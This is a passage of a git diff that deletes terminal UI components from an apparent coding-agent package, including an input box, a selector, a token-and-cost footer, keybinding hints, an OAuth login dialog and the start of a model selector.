fs.unlinkSync(tmpFile); - } catch { - // Ignore cleanup errors - } - this.tui.start(); - // Force full re-render since external editor uses alternate screen - this.tui.requestRender(true); - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/extension-input.ts b/packages/pi-coding-agent/src/modes/interactive/components/extension-input.ts deleted file mode 100644 index d01464910..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/extension-input.ts +++ /dev/null @@ -1,108 +0,0 @@ -/** - * Simple text input component for extensions. - */ - -import { - Container, - type Focusable, - getEditorKeybindings, - Input, - Spacer, - Text, - type TUI, -} from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; -import { CountdownTimer } from "./countdown-timer.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { keyHint } from "./keybinding-hints.js"; - -export interface ExtensionInputOptions { - tui?: TUI; - timeout?: number; - secure?: boolean; -} - -export class ExtensionInputComponent extends Container implements Focusable { - private input: Input; - private onSubmitCallback: (value: string) => void; - private onCancelCallback: () => void; - private titleText: Text; - private baseTitle: string; - private countdown: CountdownTimer | undefined; - - // Focusable implementation - propagate to input for IME cursor positioning - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.input.focused = value; - } - - constructor( - title: string, - placeholder: string | undefined, - onSubmit: (value: string) => void, - onCancel: () => void, - opts?: ExtensionInputOptions, - ) { - super(); - - this.onSubmitCallback = onSubmit; - this.onCancelCallback = onCancel; - this.baseTitle = title; - - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - - this.titleText = new Text(theme.fg("accent", title), 1, 0); - this.addChild(this.titleText); - this.addChild(new Spacer(1)); - - if (opts?.timeout && opts.timeout > 0 && opts.tui) { - this.countdown = new CountdownTimer( - opts.timeout, - opts.tui, - (s) => - this.titleText.setText( - theme.fg("accent", `${this.baseTitle} (${s}s)`), - ), - () => this.onCancelCallback(), - ); - } - - this.input = new Input(); - this.input.secure = opts?.secure === true; - if (placeholder) { - this.input.placeholder = placeholder; - } - this.addChild(this.input); - this.addChild(new Spacer(1)); - this.addChild( - new Text( - `${keyHint("selectConfirm", "submit")} ${keyHint("selectCancel", "cancel")}`, - 1, - 0, - ), - ); - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder()); - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - if (kb.matches(keyData, "selectConfirm") || keyData === "\n") { - if (this.input.getValue().trim() === "") return; - this.onSubmitCallback(this.input.getValue()); - } else if (kb.matches(keyData, "selectCancel")) { - this.onCancelCallback(); - } else { - this.input.handleInput(keyData); - } - } - - dispose(): void { - this.countdown?.dispose(); - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/extension-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/extension-selector.ts deleted file mode 100644 index a67a1afcd..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/extension-selector.ts +++ /dev/null @@ -1,166 +0,0 @@ -/** - * Generic selector component for extensions. - * Displays a list of string options with keyboard navigation. - * Options starting with SEPARATOR_PREFIX are rendered as non-selectable group headers. - */ - -import { - Container, - getEditorKeybindings, - Spacer, - Text, - type TUI, -} from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; -import { CountdownTimer } from "./countdown-timer.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { keyHint, rawKeyHint } from "./keybinding-hints.js"; - -/** Prefix that marks an option as a non-selectable group header. */ -export const SEPARATOR_PREFIX = "───"; - -export interface ExtensionSelectorOptions { - tui?: TUI; - timeout?: number; -} - -export class ExtensionSelectorComponent extends Container { - private options: string[]; - private selectedIndex = 0; - private listContainer: Container; - private onSelectCallback: (option: string) => void; - private onCancelCallback: () => void; - private titleText: Text; - private baseTitle: string; - private countdown: CountdownTimer | undefined; - - constructor( - title: string, - options: string[], - onSelect: (option: string) => void, - onCancel: () => void, - opts?: ExtensionSelectorOptions, - ) { - super(); - - this.options = options; - this.onSelectCallback = onSelect; - this.onCancelCallback = onCancel; - this.baseTitle = title; - - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - - this.titleText = new Text(theme.fg("accent", title), 1, 0); - this.addChild(this.titleText); - this.addChild(new Spacer(1)); - - if (opts?.timeout && opts.timeout > 0 && opts.tui) { - this.countdown = new CountdownTimer( - opts.timeout, - opts.tui, - (s) => - this.titleText.setText( - theme.fg("accent", `${this.baseTitle} (${s}s)`), - ), - () => this.onCancelCallback(), - ); - } - - this.listContainer = new Container(); - this.addChild(this.listContainer); - this.addChild(new Spacer(1)); - this.addChild( - new Text( - rawKeyHint("↑↓", "navigate") + - " " + - keyHint("selectConfirm", "select") + - " " + - keyHint("selectCancel", "cancel"), - 1, - 0, - ), - ); - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder()); - - // Start on the first selectable (non-separator) item - this.selectedIndex = this.nextSelectable(0, 1); - this.updateList(); - } - - private isSeparator(index: number): boolean { - return this.options[index]?.startsWith(SEPARATOR_PREFIX) ?? false; - } - - /** - * Find the next selectable index starting from `from` in the given direction. - * Returns `from` clamped to bounds if nothing selectable is found. - */ - private nextSelectable(from: number, direction: 1 | -1): number { - let idx = from; - while (idx >= 0 && idx < this.options.length && this.isSeparator(idx)) { - idx += direction; - } - if (idx < 0 || idx >= this.options.length) { - return Math.max(0, Math.min(from, this.options.length - 1)); - } - // If all items are separators, idx may still point to one — fall back to original index - if (this.isSeparator(idx)) { - return Math.max(0, Math.min(from, this.options.length - 1)); - } - return idx; - } - - private updateList(): void { - this.listContainer.clear(); - for (let i = 0; i < this.options.length; i++) { - const option = this.options[i]; - if (this.isSeparator(i)) { - this.listContainer.addChild( - new Text(theme.fg("borderAccent", ` ${option}`), 1, 0), - ); - continue; - } - const isSelected = i === this.selectedIndex; - const text = isSelected - ? theme.fg("accent", "→ ") + theme.fg("accent", option) - : ` ${theme.fg("text", option)}`; - this.listContainer.addChild(new Text(text, 1, 0)); - } - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - if (kb.matches(keyData, "selectUp") || keyData === "k") { - let next = this.selectedIndex - 1; - if (next < 0) next = this.options.length - 1; - next = this.nextSelectable(next, -1); - if (this.isSeparator(next)) { - next = this.nextSelectable(this.options.length - 1, -1); - } - this.selectedIndex = next; - this.updateList(); - } else if (kb.matches(keyData, "selectDown") || keyData === "j") { - let next = this.selectedIndex + 1; - if (next >= this.options.length) next = 0; - next = this.nextSelectable(next, 1); - if (this.isSeparator(next)) { - next = this.nextSelectable(0, 1); - } - this.selectedIndex = next; - this.updateList(); - } else if (kb.matches(keyData, "selectConfirm") || keyData === "\n") { - const selected = this.options[this.selectedIndex]; - if (selected && !this.isSeparator(this.selectedIndex)) { - this.onSelectCallback(selected); - } - } else if (kb.matches(keyData, "selectCancel")) { - this.onCancelCallback(); - } - } - - dispose(): void { - this.countdown?.dispose(); - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/footer.ts b/packages/pi-coding-agent/src/modes/interactive/components/footer.ts deleted file mode 100644 index 4ad243467..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/footer.ts +++ /dev/null @@ -1,279 +0,0 @@ -import { - type Component, - truncateToWidth, - visibleWidth, -} from "@singularity-forge/pi-tui"; -import type { AgentSession } from "../../../core/agent-session.js"; -import type { ReadonlyFooterDataProvider } from "../../../core/footer-data-provider.js"; -import { theme } from "../theme/theme.js"; -import { providerDisplayName } from "./model-selector.js"; - -/** - * Sanitize text for display in a single-line status. - * Removes newlines, tabs, carriage returns, and other control characters. - */ -function sanitizeStatusText(text: string): string { - // Replace newlines, tabs, carriage returns with space, then collapse multiple spaces - return text - .replace(/[\r\n\t]/g, " ") - .replace(/ +/g, " ") - .trim(); -} - -/** - * Format token counts (similar to web-ui) - */ -function formatTokens(count: number): string { - if (count < 1000) return count.toString(); - if (count < 10000) return `${(count / 1000).toFixed(1)}k`; - if (count < 1000000) return `${Math.round(count / 1000)}k`; - if (count < 10000000) return `${(count / 1000000).toFixed(1)}M`; - return `${Math.round(count / 1000000)}M`; -} - -/** - * Format a cost value for compact display. - * Uses fewer decimal places for larger amounts. - * @internal Exported for testing only. - */ -export function formatPromptCost(cost: number): string { - if (cost < 0.001) return `$${cost.toFixed(4)}`; - if (cost < 0.01) return `$${cost.toFixed(3)}`; - if (cost < 1) return `$${cost.toFixed(3)}`; - return `$${cost.toFixed(2)}`; -} - -/** - * Footer component that shows pwd, token stats, and context usage. - * Computes token/context stats from session, gets git branch and extension statuses from provider. - */ -export class FooterComponent implements Component { - private autoCompactEnabled = true; - - constructor( - private session: AgentSession, - private footerData: ReadonlyFooterDataProvider, - ) {} - - setAutoCompactEnabled(enabled: boolean): void { - this.autoCompactEnabled = enabled; - } - - /** - * No-op: git branch caching now handled by provider. - * Kept for compatibility with existing call sites in interactive-mode. - */ - invalidate(): void { - // No-op: git branch is cached/invalidated by provider - } - - /** - * Clean up resources. - * Git watcher cleanup now handled by provider. - */ - dispose(): void { - // Git watcher cleanup handled by provider - } - - render(width: number): string[] { - const state = this.session.state; - - const usageTotals = this.session.sessionManager.getUsageTotals(); - const totalInput = usageTotals.input; - const totalOutput = usageTotals.output; - const totalCacheRead = usageTotals.cacheRead; - const totalCacheWrite = usageTotals.cacheWrite; - const totalCost = usageTotals.cost; - - // Use activeInferenceModel during streaming to show the model actually - // being used, not the configured model which may have been switched mid-turn. - const displayModel = state.activeInferenceModel ?? state.model; - - // Calculate context usage from session (handles compaction correctly). - // After compaction, tokens are unknown until the next LLM response. - const contextUsage = this.session.getContextUsage(); - const contextWindow = - contextUsage?.contextWindow ?? displayModel?.contextWindow ?? 0; - const contextPercentValue = contextUsage?.percent ?? 0; - const contextPercent = - contextUsage?.percent !== null ? contextPercentValue.toFixed(1) : "?"; - - // Replace home directory with ~ - let pwd = process.cwd(); - const home = process.env.HOME || process.env.USERPROFILE; - if (home && pwd.startsWith(home)) { - pwd = `~${pwd.slice(home.length)}`; - } - - // Add git branch if available - const branch = this.footerData.getGitBranch(); - if (branch) { - pwd = `${pwd} (${branch})`; - } - - // Add session name if set - const sessionName = this.session.sessionManager.getSessionName(); - if (sessionName) { - pwd = `${pwd} • ${sessionName}`; - } - - // Add short session ID so users can correlate the TUI to the - // on-disk jsonl when debugging crashes or locating prior runs. - const rawSessionId = this.session.sessionManager.getSessionId?.() ?? ""; - if (rawSessionId) { - pwd = `${pwd} [sess:${rawSessionId.slice(0, 8)}]`; - } - - // Build stats line as separate groups joined by a dim middle-dot separator - const sep = ` ${theme.fg("dim", "\u00B7")} `; - - // Group 1: token I/O - const tokenGroup: string[] = []; - if (totalInput) tokenGroup.push(`↑${formatTokens(totalInput)}`); - if (totalOutput) tokenGroup.push(`↓${formatTokens(totalOutput)}`); - - // Group 2: cache metrics - const cacheGroup: string[] = []; - if (totalCacheRead) cacheGroup.push(`cr:${formatTokens(totalCacheRead)}`); - if (totalCacheWrite) cacheGroup.push(`cw:${formatTokens(totalCacheWrite)}`); - - // Group 3: cost - const costGroup: string[] = []; - const usingSubscription = displayModel - ? this.session.modelRegistry.isUsingOAuth(displayModel) - : false; - if (totalCost || usingSubscription) { - const costStr = `$${totalCost.toFixed(3)}${usingSubscription ? " (sub)" : ""}`; - costGroup.push(costStr); - } - - // Per-prompt cost annotation (opt-in via show_token_cost preference, #1515) - if (process.env.SF_SHOW_TOKEN_COST === "1") { - const lastTurnCost = this.session.getLastTurnCost(); - if (lastTurnCost > 0) { - costGroup.push(`(last: ${formatPromptCost(lastTurnCost)})`); - } - } - - // Group 4: context percentage (colorized) - let contextPercentStr: string; - const autoIndicator = this.autoCompactEnabled ? " (auto)" : ""; - const contextPercentDisplay = - contextPercent === "?" - ? `?/${formatTokens(contextWindow)}${autoIndicator}` - : `${contextPercent}%/${formatTokens(contextWindow)}${autoIndicator}`; - if (contextPercentValue > 90) { - contextPercentStr = theme.fg("error", contextPercentDisplay); - } else if (contextPercentValue > 70) { - contextPercentStr = theme.fg("warning", contextPercentDisplay); - } else { - contextPercentStr = contextPercentDisplay; - } - - // Assemble groups: items within a group are space-separated, - // groups are separated by a dim middle-dot - const groups: string[] = []; - if (tokenGroup.length > 0) groups.push(tokenGroup.join(" ")); - if (cacheGroup.length > 0) groups.push(cacheGroup.join(" ")); - if (costGroup.length > 0) groups.push(costGroup.join(" ")); - groups.push(contextPercentStr); - - let statsLeft = groups.join(sep); - - // Add model name on the right side, plus thinking level if model supports it - const modelName = displayModel?.id || "no-model"; - - let statsLeftWidth = visibleWidth(statsLeft); - - // If statsLeft is too wide, truncate it - if (statsLeftWidth > width) { - statsLeft = truncateToWidth(statsLeft, width, "..."); - statsLeftWidth = visibleWidth(statsLeft); - } - - // Calculate available space for padding (minimum 2 spaces between stats and model) - const minPadding = 2; - - // Add thinking level indicator if model supports reasoning - let rightSideWithoutProvider = modelName; - if (displayModel?.reasoning) { - const thinkingLevel = state.thinkingLevel || "off"; - rightSideWithoutProvider = - thinkingLevel === "off" - ? `${modelName} • thinking off` - : `${modelName} • ${thinkingLevel}`; - } - - // Prepend the provider in parentheses if there are multiple providers and there's enough room - let rightSide = rightSideWithoutProvider; - if (this.footerData.getAvailableProviderCount() > 1 && displayModel) { - rightSide = `(${providerDisplayName(displayModel.provider)}) ${rightSideWithoutProvider}`; - if (statsLeftWidth + minPadding + visibleWidth(rightSide) > width) { - // Too wide, fall back - rightSide = rightSideWithoutProvider; - } - } - - const rightSideWidth = visibleWidth(rightSide); - const totalNeeded = statsLeftWidth + minPadding + rightSideWidth; - - let statsLine: string; - if (totalNeeded <= width) { - // Both fit - add padding to right-align model - const padding = " ".repeat(width - statsLeftWidth - rightSideWidth); - statsLine = statsLeft + padding + rightSide; - } else { - // Need to truncate right side - const availableForRight = width - statsLeftWidth - minPadding; - if (availableForRight > 0) { - const truncatedRight = truncateToWidth( - rightSide, - availableForRight, - "", - ); - const truncatedRightWidth = visibleWidth(truncatedRight); - const padding = " ".repeat( - Math.max(0, width - statsLeftWidth - truncatedRightWidth), - ); - statsLine = statsLeft + padding + truncatedRight; - } else { - // Not enough space for right side at all - statsLine = statsLeft; - } - } - - // Apply dim to each part separately. statsLeft may contain color codes (for context %) - // that end with a reset, which would clear an outer dim wrapper. So we dim the parts - // before and after the colored section independently. - const dimStatsLeft = theme.fg("dim", statsLeft); - const remainder = statsLine.slice(statsLeft.length); // padding + rightSide - const dimRemainder = theme.fg("dim", remainder); - - const pwdLine = truncateToWidth( - theme.fg("dim", pwd), - width, - theme.fg("dim", "..."), - ); - const lines = [pwdLine, dimStatsLeft + dimRemainder]; - - // Add extension statuses on a single line, sorted by key alphabetically - const extensionStatuses = this.footerData.getExtensionStatuses(); - if (extensionStatuses.size > 0) { - const sortedStatuses = Array.from(extensionStatuses.entries()) - .sort(([a], [b]) => a.localeCompare(b)) - .map(([, text]) => sanitizeStatusText(text)); - const statusLine = sortedStatuses.join(" "); - // Match the rest of the footer styling: extension statuses should render - // in the same dim color as pwd/stats, with a dim ellipsis on truncation. - lines.push( - truncateToWidth( - theme.fg("dim", statusLine), - width, - theme.fg("dim", "..."), - ), - ); - } - - return lines; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/index.ts b/packages/pi-coding-agent/src/modes/interactive/components/index.ts deleted file mode 100644 index afc56eaa2..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/index.ts +++ /dev/null @@ -1,56 +0,0 @@ -// UI Components for extensions -export { ArminComponent } from "./armin.js"; -export { AssistantMessageComponent } from "./assistant-message.js"; -export { BashExecutionComponent } from "./bash-execution.js"; -export { BorderedLoader } from "./bordered-loader.js"; -export { BranchSummaryMessageComponent } from "./branch-summary-message.js"; -export { CompactionSummaryMessageComponent } from "./compaction-summary-message.js"; -export { CustomEditor } from "./custom-editor.js"; -export { CustomMessageComponent } from "./custom-message.js"; -export { DaxnutsComponent } from "./daxnuts.js"; -export { type RenderDiffOptions, renderDiff } from "./diff.js"; -export { DynamicBorder } from "./dynamic-border.js"; -export { ExtensionEditorComponent } from "./extension-editor.js"; -export { ExtensionInputComponent } from "./extension-input.js"; -export { - ExtensionSelectorComponent, - SEPARATOR_PREFIX, -} from "./extension-selector.js"; -export { FooterComponent } from "./footer.js"; -export { - appKey, - appKeyHint, - editorKey, - keyHint, - rawKeyHint, -} from "./keybinding-hints.js"; -export { LoginDialogComponent } from "./login-dialog.js"; -export { ModelSelectorComponent } from "./model-selector.js"; -export { OAuthSelectorComponent } from "./oauth-selector.js"; -export { ProviderManagerComponent } from "./provider-manager.js"; -export { - type ModelsCallbacks, - type ModelsConfig, - ScopedModelsSelectorComponent, -} from "./scoped-models-selector.js"; -export { SessionSelectorComponent } from "./session-selector.js"; -export { - type SettingsCallbacks, - type SettingsConfig, - SettingsSelectorComponent, -} from "./settings-selector.js"; -export { ShowImagesSelectorComponent } from "./show-images-selector.js"; -export { SkillInvocationMessageComponent } from "./skill-invocation-message.js"; -export { ThemeSelectorComponent } from "./theme-selector.js"; -export { ThinkingSelectorComponent } from "./thinking-selector.js"; -export { - ToolExecutionComponent, - type ToolExecutionOptions, -} from "./tool-execution.js"; -export { TreeSelectorComponent } from "./tree-selector.js"; -export { UserMessageComponent } from "./user-message.js"; -export { UserMessageSelectorComponent } from "./user-message-selector.js"; -export { - truncateToVisualLines, - type VisualTruncateResult, -} from "./visual-truncate.js"; diff --git a/packages/pi-coding-agent/src/modes/interactive/components/keybinding-hints.ts b/packages/pi-coding-agent/src/modes/interactive/components/keybinding-hints.ts deleted file mode 100644 index 26e08d1f2..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/keybinding-hints.ts +++ /dev/null @@ -1,97 +0,0 @@ -/** - * Utilities for formatting keybinding hints in the UI. - */ - -import { - type EditorAction, - getEditorKeybindings, - type KeyId, -} from "@singularity-forge/pi-tui"; -import type { - AppAction, - KeybindingsManager, -} from "../../../core/keybindings.js"; -import { theme } from "../theme/theme.js"; - -const isMac = process.platform === "darwin"; - -/** - * Convert a key identifier to a platform-appropriate display string. - * On macOS, "alt+" is shown as "⌥" (Option key symbol). - */ -export function formatKeyForDisplay(key: string): string { - if (!isMac) return key; - return key.replace(/\balt\+/gi, "⌥"); -} - -/** - * Format keys array as display string (e.g., ["ctrl+c", "escape"] -> "ctrl+c/escape"). - * Applies platform-specific formatting (e.g., alt -> ⌥ on macOS). - */ -function formatKeys(keys: KeyId[]): string { - if (keys.length === 0) return ""; - if (keys.length === 1) return formatKeyForDisplay(keys[0]!); - return keys.map(formatKeyForDisplay).join("/"); -} - -/** - * Get display string for an editor action. - */ -export function editorKey(action: EditorAction): string { - return formatKeys(getEditorKeybindings().getKeys(action)); -} - -/** - * Get display string for an app action. - */ -export function appKey( - keybindings: KeybindingsManager, - action: AppAction, -): string { - return formatKeys(keybindings.getKeys(action)); -} - -/** - * Format a keybinding hint with consistent styling: dim key, muted description. - * Looks up the key from editor keybindings automatically. - * - * @param action - Editor action name (e.g., "selectConfirm", "expandTools") - * @param description - Description text (e.g., "to expand", "cancel") - * @returns Formatted string with dim key and muted description - */ -export function keyHint(action: EditorAction, description: string): string { - return ( - theme.fg("dim", editorKey(action)) + theme.fg("muted", ` ${description}`) - ); -} - -/** - * Format a keybinding hint for app-level actions. - * Requires the KeybindingsManager instance. - * - * @param keybindings - KeybindingsManager instance - * @param action - App action name (e.g., "interrupt", "externalEditor") - * @param description - Description text - * @returns Formatted string with dim key and muted description - */ -export function appKeyHint( - keybindings: KeybindingsManager, - action: AppAction, - description: string, -): string { - return ( - theme.fg("dim", appKey(keybindings, action)) + - theme.fg("muted", ` ${description}`) - ); -} - -/** - * Format a raw key string with description (for non-configurable keys like ↑↓). - * - * @param key - Raw key string - * @param description - Description text - * @returns Formatted string with dim key and muted description - */ -export function rawKeyHint(key: string, description: string): string { - return theme.fg("dim", key) + theme.fg("muted", ` ${description}`); -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/login-dialog.ts b/packages/pi-coding-agent/src/modes/interactive/components/login-dialog.ts deleted file mode 100644 index 029e2e229..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/login-dialog.ts +++ /dev/null @@ -1,295 +0,0 @@ -// SF Login Dialog Component — OAuth login flow UI -// Copyright (c) 2026 Jeremy McSpadden - -import { execFile } from "node:child_process"; -import { getOAuthProviders } from "@singularity-forge/pi-ai/oauth"; -import { - Container, - type Focusable, - getEditorKeybindings, - Input, - Spacer, - Text, - type TUI, - truncateToWidth, -} from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { keyHint } from "./keybinding-hints.js"; - -function wrapPlainText(text: string, width: number): string[] { - const lines: string[] = []; - const safeWidth = Math.max(1, width); - for (let idx = 0; idx < text.length; idx += safeWidth) { - lines.push(text.slice(idx, idx + safeWidth)); - } - return lines.length > 0 ? lines : [""]; -} - -export function buildAuthUrlPresentation( - url: string, - terminalColumns: number, -): { - displayUrl: string; - fullUrlLines: string[]; -} { - const maxUrlWidth = Math.max(20, terminalColumns - 4); - const displayUrl = truncateToWidth(url, maxUrlWidth); - return { - displayUrl, - fullUrlLines: displayUrl === url ? [] : wrapPlainText(url, maxUrlWidth), - }; -} - -/** - * Login dialog component - replaces editor during OAuth login flow. - * - * Guards against stuck UI by: - * - Rejecting any outstanding promise before creating a new one - * - Listening on the internal AbortSignal so external cancellation cleans up - * - Exposing a public dispose() method so the caller can force-cleanup - */ -export class LoginDialogComponent extends Container implements Focusable { - private contentContainer: Container; - private input: Input; - private tui: TUI; - private abortController = new AbortController(); - private inputResolver?: (value: string) => void; - private inputRejecter?: (error: Error) => void; - private disposed = false; - - // Focusable implementation - propagate to input for IME cursor positioning - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.input.focused = value; - } - - constructor( - tui: TUI, - providerId: string, - private onComplete: (success: boolean, message?: string) => void, - ) { - super(); - this.tui = tui; - - const providerInfo = getOAuthProviders().find((p) => p.id === providerId); - const providerName = providerInfo?.name || providerId; - - // Top border - this.addChild(new DynamicBorder()); - - // Title - this.addChild( - new Text(theme.fg("warning", `Login to ${providerName}`), 1, 0), - ); - - // Dynamic content area - this.contentContainer = new Container(); - this.addChild(this.contentContainer); - - // Input (always present, used when needed) - this.input = new Input(); - this.input.onSubmit = () => { - if (this.inputResolver) { - this.inputResolver(this.input.getValue()); - this.inputResolver = undefined; - this.inputRejecter = undefined; - } - }; - this.input.onEscape = () => { - this.cancel(); - }; - - // Bottom border - this.addChild(new DynamicBorder()); - - // Wire abort signal so external cancellation rejects pending promises - this.abortController.signal.addEventListener("abort", () => { - this.rejectPending("Login cancelled"); - }); - } - - get signal(): AbortSignal { - return this.abortController.signal; - } - - /** - * Reject any outstanding input promise without triggering a full cancel. - * Safe to call multiple times. - */ - private rejectPending(reason: string): void { - if (this.inputRejecter) { - const rejecter = this.inputRejecter; - this.inputResolver = undefined; - this.inputRejecter = undefined; - rejecter(new Error(reason)); - } - } - - private cancel(): void { - if (this.disposed) return; - this.abortController.abort(); - // rejectPending is also called by the abort listener, but guard with - // disposed flag and nulling to avoid double-reject - this.rejectPending("Login cancelled"); - this.onComplete(false, "Login cancelled"); - } - - /** - * Force-dispose the dialog, rejecting any pending promises. - * Called by the parent when restoring the editor, as a safety net - * to ensure no promises are left dangling. - */ - dispose(): void { - if (this.disposed) return; - this.disposed = true; - this.abortController.abort(); - this.rejectPending("Login dialog disposed"); - } - - /** - * Called by onAuth callback - show URL and optional instructions - */ - showAuth(url: string, instructions?: string): void { - this.contentContainer.clear(); - this.contentContainer.addChild(new Spacer(1)); - - // Truncate the visible URL text so it never wraps (which would break - // the OSC 8 hyperlink). The full URL is still the link target. - const { displayUrl, fullUrlLines } = buildAuthUrlPresentation( - url, - this.tui.terminal.columns, - ); - const urlLink = `\x1b]8;;${url}\x07${theme.fg("accent", displayUrl)}\x1b]8;;\x07`; - this.contentContainer.addChild(new Text(urlLink, 1, 0)); - - const clickHint = - process.platform === "darwin" - ? "Cmd+click to open" - : "Ctrl+click to open"; - this.contentContainer.addChild(new Text(theme.fg("dim", clickHint), 1, 0)); - - if (fullUrlLines.length > 0) { - this.contentContainer.addChild(new Spacer(1)); - this.contentContainer.addChild( - new Text(theme.fg("dim", "Full URL:"), 1, 0), - ); - for (const line of fullUrlLines) { - this.contentContainer.addChild(new Text(theme.fg("dim", line), 1, 0)); - } - } - - if (instructions) { - this.contentContainer.addChild(new Spacer(1)); - this.contentContainer.addChild( - new Text(theme.fg("warning", instructions), 1, 0), - ); - } - - // PowerShell's Start-Process handles URLs with '&' safely; cmd /c start does not. - if (process.platform === "win32") { - execFile( - "powershell", - ["-c", `Start-Process '${url.replace(/'/g, "''")}'`], - () => {}, - ); - } else { - const openCmd = process.platform === "darwin" ? "open" : "xdg-open"; - execFile(openCmd, [url], () => {}); - } - - this.tui.requestRender(); - } - - /** - * Show input for manual code/URL entry (for callback server providers) - */ - showManualInput(prompt: string): Promise { - // Reject any previous pending promise before creating a new one - this.rejectPending("Superseded by new input prompt"); - - this.contentContainer.addChild(new Spacer(1)); - this.contentContainer.addChild(new Text(theme.fg("dim", prompt), 1, 0)); - this.contentContainer.addChild(this.input); - this.contentContainer.addChild( - new Text(`(${keyHint("selectCancel", "to cancel")})`, 1, 0), - ); - this.tui.requestRender(); - - return new Promise((resolve, reject) => { - this.inputResolver = resolve; - this.inputRejecter = reject; - }); - } - - /** - * Called by onPrompt callback - show prompt and wait for input - * Note: Does NOT clear content, appends to existing (preserves URL from showAuth) - */ - showPrompt(message: string, placeholder?: string): Promise { - // Reject any previous pending promise before creating a new one - this.rejectPending("Superseded by new input prompt"); - - this.contentContainer.addChild(new Spacer(1)); - this.contentContainer.addChild(new Text(theme.fg("text", message), 1, 0)); - if (placeholder) { - this.contentContainer.addChild( - new Text(theme.fg("dim", `e.g., ${placeholder}`), 1, 0), - ); - } - this.contentContainer.addChild(this.input); - this.contentContainer.addChild( - new Text( - `(${keyHint("selectCancel", "to cancel,")} ${keyHint("selectConfirm", "to submit")})`, - 1, - 0, - ), - ); - - this.input.setValue(""); - this.tui.requestRender(); - - return new Promise((resolve, reject) => { - this.inputResolver = resolve; - this.inputRejecter = reject; - }); - } - - /** - * Show waiting message (for polling flows like GitHub Copilot) - */ - showWaiting(message: string): void { - this.contentContainer.addChild(new Spacer(1)); - this.contentContainer.addChild(new Text(theme.fg("dim", message), 1, 0)); - this.contentContainer.addChild( - new Text(`(${keyHint("selectCancel", "to cancel")})`, 1, 0), - ); - this.tui.requestRender(); - } - - /** - * Called by onProgress callback - */ - showProgress(message: string): void { - this.contentContainer.addChild(new Text(theme.fg("dim", message), 1, 0)); - this.tui.requestRender(); - } - - handleInput(data: string): void { - if (this.disposed) return; - - const kb = getEditorKeybindings(); - - if (kb.matches(data, "selectCancel")) { - this.cancel(); - return; - } - - // Pass to input - this.input.handleInput(data); - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/model-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/model-selector.ts deleted file mode 100644 index eedefb4fa..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/model-selector.ts +++ /dev/null @@ -1,780 +0,0 @@ -import { type Model, modelsAreEqual } from "@singularity-forge/pi-ai"; -import { - Container, - type Focusable, - fuzzyFilter, - getEditorKeybindings, - Input, - Spacer, - Text, - type TUI, -} from "@singularity-forge/pi-tui"; -import type { ModelRegistry } from "../../../core/model-registry.js"; -import type { SettingsManager } from "../../../core/settings-manager.js"; -import { theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; -import { keyHint, rawKeyHint } from "./keybinding-hints.js"; - -/** Display names for providers in the model selector UI. */ -const PROVIDER_DISPLAY_NAMES: Record = { - anthropic: "anthropic-api", -}; - -export function providerDisplayName(provider: string): string { - return PROVIDER_DISPLAY_NAMES[provider] ?? provider; -} - -function formatTokenCount(count: number): string { - if (count >= 1_000_000) { - const millions = count / 1_000_000; - return millions % 1 === 0 ? `${millions}M` : `${millions.toFixed(1)}M`; - } - if (count >= 1_000) { - const thousands = count / 1_000; - return thousands % 1 === 0 ? `${thousands}K` : `${thousands.toFixed(1)}K`; - } - return count.toString(); -} - -interface ModelItem { - provider: string; - id: string; - model: Model; -} - -interface ScopedModelItem { - model: Model; - thinkingLevel?: string; -} - -/** - * A navigable row — either a provider group header or a selectable model entry. - */ -type ListRow = - | { kind: "header"; provider: string; count: number } - | { kind: "model"; item: ModelItem }; - -type ModelScope = "all" | "scoped"; - -/** - * Component that renders a grouped model selector with search. - * - * Browsing (no search): models are grouped under provider headers. - * - Current model's provider is shown first; remaining providers sorted alphabetically. - * - Arrow keys navigate all rows; headers are skipped during selection. - * Searching: reverts to a flat fuzzy-filtered list (same as before), with [provider] badges. - */ -export class ModelSelectorComponent extends Container implements Focusable { - private searchInput: Input; - - // Focusable implementation - propagate to searchInput for IME cursor positioning - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.searchInput.focused = value; - } - private listContainer: Container; - private allModels: ModelItem[] = []; - private scopedModelItems: ModelItem[] = []; - private activeModels: ModelItem[] = []; - - // Grouped (browse) state - private groupedRows: ListRow[] = []; - private modelRowIndices: number[] = []; // indices into groupedRows that are "model" kind - private selectedGroupIndex: number = 0; // index into groupedRows (can be model or header) - - // Search (flat) state - private filteredModels: ModelItem[] = []; - private selectedFlatIndex: number = 0; - - private isSearching: boolean = false; - private currentModel?: Model; - private settingsManager: SettingsManager; - private modelRegistry: ModelRegistry; - private onSelectCallback: (model: Model) => void; - private onCancelCallback: () => void; - private onConfigChange?: () => void; - private errorMessage?: string; - private tui: TUI; - private scopedModels: ReadonlyArray; - private scope: ModelScope = "all"; 